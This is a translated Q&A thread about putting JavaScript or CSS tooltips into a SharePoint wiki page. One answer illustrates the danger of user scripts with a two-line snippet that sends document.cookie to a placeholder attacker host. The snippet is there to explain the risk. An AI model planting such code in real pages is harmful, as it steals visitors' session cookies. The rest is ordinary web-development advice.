如何在维基页面输入Javascript?

时间:2008-09-17 21:09:27

标签: javascript html sharepoint wiki

作为维基管理员,我如何将脚本(Javascript)输入Sharepoint维基页面?

我想输入一个标题,当点击它时,在它下面显示一个小的解释。我通常用javascript,其他任何想法做到这一点?

10 个答案:

答案 0 :(得分:10)

如果维基作者是明智的,那么可能无法做到这一点。

用户贡献的JavaScript的问题在于它为所有形式的恶意者打开了大门,以便从毫无戒心的数据中获取数据。

我们假设邪恶的我在公共网站上发布了一个脚本:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

现在我将收到页面上每个访问者的cookie信息,发布到我服务器上的日志中。这只是冰山一角。

答案 1 :(得分:4)

假设您是wiki的管理员,并且愿意在鼠标悬停而非点击时显示此内容,您根本不需要javascript - 您可以使用直接CSS。以下是样式和标记的示例:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

通过一些更复杂的样式,您的工具提示框可以看起来像您想要的那样好。

答案 2 :(得分:1)

这完全取决于您使用的特定Wiki软件。我看到工作的方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标记。

如果他们不允许这样,他们可能会允许您设置为包含该脚本的页面的IFRAME。使用第二种技术,您将无法访问主机页面的DOM。

答案 3 :(得分:1)

我喜欢CSS答案。当你可以使用CSS而不是Javascript时,它会产生更简单的标记 另一件需要关注的是Codeplex上的SharePoint增强版Wiki社区工具包。您可以下载源代码并添加自己的功能。或者您可以将此建议作为论坛中的新功能。

答案 4 :(得分:0)

这听起来像是一种安全风险。 wiki管理员似乎可以安装脚本,请参阅wikipedia's user scripts

答案 5 :(得分:0)

您应该无法为任何公共Wiki添加javascript代码。如果您自己托管,那么您需要请求特定的wiki系统,以便有人可以帮助您修改设置 - 如果可能的话,为该系统。

答案 6 :(得分:0)

如果您正在谈论在本网站上使用Javascript作为网页的一部分,则不能。或者任何其他公共维基 - 这是一个安全风险。

如果您正在谈论发布代码示例,请单击文本框上方的“101010”按钮。

答案 7 :(得分:0)

它当然取决于您正在与之交谈的维基引擎。最有可能的是,正如sblundy所说,允许在维基页面上免费使用javascript会带来安全风险。

答案 8 :(得分:0)

title="text here"添加到任何标记中,并在悬停在其上时显示文本 当您使用alt="text here"属性时,Internet Explorer会显示文本,但这不符合标准。

我现在测试了,您可以将<h2 title="some explanation here">headline</h2>添加到任何基于维基媒体的系统(维基百科使用的系统)。

答案 9 :(得分:0)

使用内容编辑器Web部件

从功能区中,选择Insert,然后选择Web Part。从菜单中转到Media and Content,然后选择Content Editor。从新创建的Webpart的下拉菜单中,选择Edit Web Part。在右侧的Webpart设置菜单中,展开Appearance并将Chrome Type设置为None。在Web部件上单击Click Here to Add Content,然后在功能区中找到Edit HTML Source。您可以在此区域使用HTML,而无需对其进行清理。

注意:如果计划将行为添加到许多页面元素中,则可能需要将.js文件上传到样式库,并在内容编辑器中仅包含<script src="...">标签。您可能还想研究使用自定义的母版或页面布局。

来源:https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages